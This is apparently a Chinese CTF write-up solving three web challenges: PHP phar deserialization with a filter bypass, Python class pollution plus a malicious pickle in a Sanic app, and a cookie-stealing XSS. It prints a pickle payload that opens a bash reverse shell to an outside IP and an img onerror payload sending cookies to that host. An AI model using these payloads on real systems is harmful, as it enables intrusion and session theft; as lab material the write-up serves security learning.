capoo

有读写文件的功能,file_get_content可以触发phar反序列化

<?php
class CapooObj {
    public function __wakeup()
    {
    $action = $this->action;
    $action = str_replace("\"", "", $action);
    $action = str_replace("\'", "", $action);
    $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\    |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
    if(preg_match($banlist, $action)){
        die("Not Allowed!");
    }
        system($this->action);
    }
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
    $file = $_POST['capoo'];
    
    if (file_exists($file)) {
        $data = file_get_contents($file);
        $base64 = base64_encode($data);
    } else if (substr($file, 0, strlen("http://")) === "http://") {
        $data = file_get_contents($_POST['capoo'] . "/capoo.gif");
        if (strpos($data, "PILER") !== false) {
            die("Capoo piler not allowed!");
        }
        file_put_contents("capoo_img/capoo.gif", $data);
        die("Download Capoo OK");
    } else {
        die('Capoo does not exist.');
    }
} else {
    die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
  <head>
    <title>Display Capoo</title>
  </head>
  <body>
    <img style='display:block; width:100px;height:100px;' id='base64image'
       src='data:image/gif;base64, <?php echo $base64;?>' />
  </body>
</html>

先从远程下载我们的恶意phar然后触发__wakeup执行命令
用转义绕过waf,然后写baes64编码的命令到一个无后缀的文本文件里,最后bash就反弹shell。

ez_picker

源代码:

from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
    'math',
    'datetime',
    'json',
    'collections',
}

safe_names = {
    'sqrt', 'pow', 'sin', 'cos', 'tan',
    'date', 'datetime', 'timedelta', 'timezone', 
    'loads', 'dumps',  
    'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in safe_modules and name in safe_names:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
    
def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
    def __init__(self,username,password):
        self.username=username
        self.password=password
        

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def token_required(func):
    async def wrapper(request, *args, **kwargs):
        token = request.cookies.get("token")  
        if not token:
            return redirect('/login')
        try:
            result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
        except jwt.ExpiredSignatureError:
            return json({"status": "fail", "message": "Token expired"}, status=401)
        except jwt.InvalidTokenError:
            return json({"status": "fail", "message": "Invalid token"}, status=401)
        print(result)
        if result["role"]!="admin":
            return json({"status": "fail", "message": "Permission Denied"}, status=401)
        return await func(request, *args, **kwargs)
    return wrapper

@app.route('/', methods=["GET"])
def file_reader(request):
    file = "app.py"
    with open(file, 'r') as f:
        content = f.read()
    return text(content)

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
    if request.method=="GET":
        return await file_('templates/upload.html')
    if not request.files:
        return text("No file provided", status=400)

    file = request.files.get('file')
    file_object = file[0] if isinstance(file, list) else file
    try:
        new_data = restricted_loads(file_object.body)
        try:
            my_object.update(new_data)
        except:
            return json({"status": "success", "message": "Pickle object loaded but not updated"})
        with open(pickle_file, "wb") as f:
            pickle.dump(my_object, f)

        return json({"status": "success", "message": "Pickle object updated"})
    except pickle.UnpicklingError:
        return text("Dangerous pickle file", status=400)
    
@app.route('/register', methods=['GET','POST'])
async def register(request):
    if request.method=='GET':
        return await file_('templates/register.html')
    if request.json:
        NewUser=User("username","password")
        merge(request.json, NewUser)
        users.append(NewUser)
    else:
        return json({"status": "fail", "message": "Invalid request"}, status=400)
    return json({"status": "success", "message": "Register Success!","redirect": "/login"})

@app.route('/login', methods=['GET','POST'])
async def login(request):
    if request.method=='GET':
        return await file_('templates/login.html')
    if request.json:
        username = request.json.get("username")
        password = request.json.get("password")
        if not username or not password:
            return json({"status": "fail", "message": "Username or password missing"}, status=400)
        user = next((u for u in users if u.username == username), None)
        if user:
            if user.password == password:
                data={"user":username,"role":"guest"}
                data['exp'] = int(time.time()) + 60 *5
                token = jwt.encode(data, str(secret_key), algorithm='HS256')
                response = json({"status": "success", "redirect": "/upload"})
                response.cookies["token"]=token
                response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
                return response
            else:
                return json({"status": "fail", "message": "Invalid password"}, status=400)
        else:
            return json({"status": "fail", "message": "User not found"}, status=404)
    return json({"status": "fail", "message": "Invalid request"}, status=400)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

很明显有两个点,一个是merge的原型链污染,一个是pickle的反序列化,这个要成功admin
调试知道User.__init__.__globals__.__getitem__('secret_key')能够获取到secret_key,其实和ciscn2024华东南半决的那道原型链污染差不多
2024-10-22T07:32:05.png
所以我们发包

{"__class__":{"__init__":{"__globals__":{"secret_key":"aaa"}}}}

成功污染
2024-10-22T07:33:55.png
注册一个用户aa,然后用jwt.io在线网站改role为admin,key是我们之前污染的aaa
2024-10-22T07:43:36.png
成功访问/upload
2024-10-22T07:43:26.png
这里虽然有白名单,但是我们可以直接污染进恶意类和方法

{"__class__":{"__init__":{"__globals__":{"safe_modules":["math","datetime","json","collections","builtins"
],"safe_names":["sqrt","pow","sin","cos","tan","date","datetime","timedelta","timezone","loads","dumps","namedtuple","deque","Counter","defaultdict","eval"]}}}}

2024-10-22T08:22:10.png

from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS

from app import my_object
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins


class A():
    def __reduce__(self):
        return (eval, ('''__import__('os').system("/bin/bash -c '/bin/bash -i >& /dev/tcp/124.221.19.214/2333 0>&1'")''',))
safe_modules = {
    'math',
    'datetime',
    'json',
    'collections',
    'builtins'
}

safe_names = {
    'sqrt', 'pow', 'sin', 'cos', 'tan',
    'date', 'datetime', 'timedelta', 'timezone',
    'loads', 'dumps',
    'namedtuple', 'deque', 'Counter', 'defaultdict','eval'
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in safe_modules and name in safe_names:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()
# new_data = restricted_loads("")
my_object=A()
pickle_file = "test.pkl"
with open(pickle_file, "wb") as f:
    pickle.dump(my_object,f)
    f.close()
# with open(pickle_file, "rb") as f:
#     restricted_loads(f.read())
#     f.close()

生成一个恶意pkl文件上传
2024-10-22T08:46:11.png
成功反弹shell
2024-10-22T09:53:52.png

Spreader

2024-10-22T10:02:07.png
过滤了onerror="",但是直接写就可以了。

<img src="invalid.jpg" onerror=document.location='http://124.221.19.214:1314?cookie'+document.cookie />

窃取两次cookie成为admin
2024-10-22T10:04:22.png
最后访问/flag
2024-10-22T10:04:41.png